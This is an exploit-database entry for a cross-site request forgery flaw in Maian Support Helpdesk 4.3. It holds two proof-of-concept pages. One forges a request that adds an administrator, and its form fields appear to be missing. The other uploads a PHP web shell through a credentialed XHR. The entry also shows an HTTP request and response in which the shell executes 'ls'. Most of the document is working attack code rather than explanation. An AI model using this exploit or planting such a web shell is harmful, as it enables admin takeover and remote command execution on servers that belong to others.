发布 2020-04-27 漏洞条目

Maian Support Helpdesk 4.3 – Cross-Site Request Forgery (Add Admin)

Exploit Source

# Exploit Title: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)

# Date: 2020-04-26

# Author: Besim ALTINOK

# Vendor Homepage: https://www.maiansupport.com

# Software Link: https://www.maiansupport.com/zip.html

# Version: v4.3

# Tested on: Xampp

# Credit: İsmail BOZKURT

----------------------------------------------

Here is the Detail:

--------------------------------------------------

This product is unprotected against CSRF vulnerabilities. With this attack,

you can add an admin account to the system. In addition, you can add files

from the F.A.Q field as admin.There are no file restrictions here.

Therefore, you can upload a PHP file here with CSRF.

If you want, you can add an admin account first and then access the system

and upload files.

Or you can upload files with direct admin rights.

---------------------------------------------------

CSRF PoC - 1 (Add Administrator user)

-------------------------------------

<html>

<body>

<form action="http://localhost/helpdesk/admin/index.php?ajax=team"

method="POST">

</form>

</body>

</html>

- After the Add admin account, you can upload the PHP file.

CSRF PoC 2 - ( Directly, File Upload)

----------------------------------------------------

<html>

<body>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST",

"http:\/\/localhost\/helpdesk\/admin\/index.php?ajax=faqattach", true);

xhr.setRequestHeader("Accept", "application\/json,

text\/javascript, *\/*; q=0.01");

xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");

xhr.setRequestHeader("Content-Type", "multipart\/form-data;

boundary=---------------------------1851832753272583700731626849");

xhr.withCredentials = true;

var body =

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"file[]\";

filename=\"shell.php\"\r\n" +

"Content-Type: text/php\r\n" +

"\r\n" +

"\x3c?php echo system($_GET[\'cmd\']); ?\x3e\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"file[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"remote[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"remote[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"remote[]\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"process\"\r\n" +

"\r\n" +

"1\r\n" +

"-----------------------------1851832753272583700731626849\r\n" +

"Content-Disposition: form-data; name=\"opath\"\r\n" +

"\r\n" +

"-----------------------------1851832753272583700731626849--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

</script>

<input type="button" value="Submit request"

onclick="submitRequest();" />

</form>

</body>

</html>

HTTP Request:

-----------------------------------------------------------------------------------------

GET /helpdesk/content/attachments-faq/shell.php?cmd=ls HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0)

Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: PHPSESSID=4574c8e8190d39edd9d13a0fd9a502ec;

bp_ut_session={"pageviews":1,"referrer":"

http://localhost/olms/library/assets/js/images/","landingPage":"

http://localhost/olms/library/assets/js/images/sort_asc.html

","started":1587817504988};

HESKb910af33bb5d80030b1f4b6f8666b57fac433d4d=71c43ff24f63f83f5a34d28997251db6

Upgrade-Insecure-Requests: 1

HTTP Response:

-------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK

Date: Sun, 26 Apr 2020 12:15:31 GMT

Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1f PHP/7.2.29 mod_perl/2.0.8-dev

Perl/v5.16.3

X-Powered-By: PHP/7.2.29

Content-Length: 39

Connection: close

Content-Type: text/html; charset=UTF-8

shell.php

shell_test.php

作者: Besim
日期: 2020-04-27
类别: webapps
平台: php

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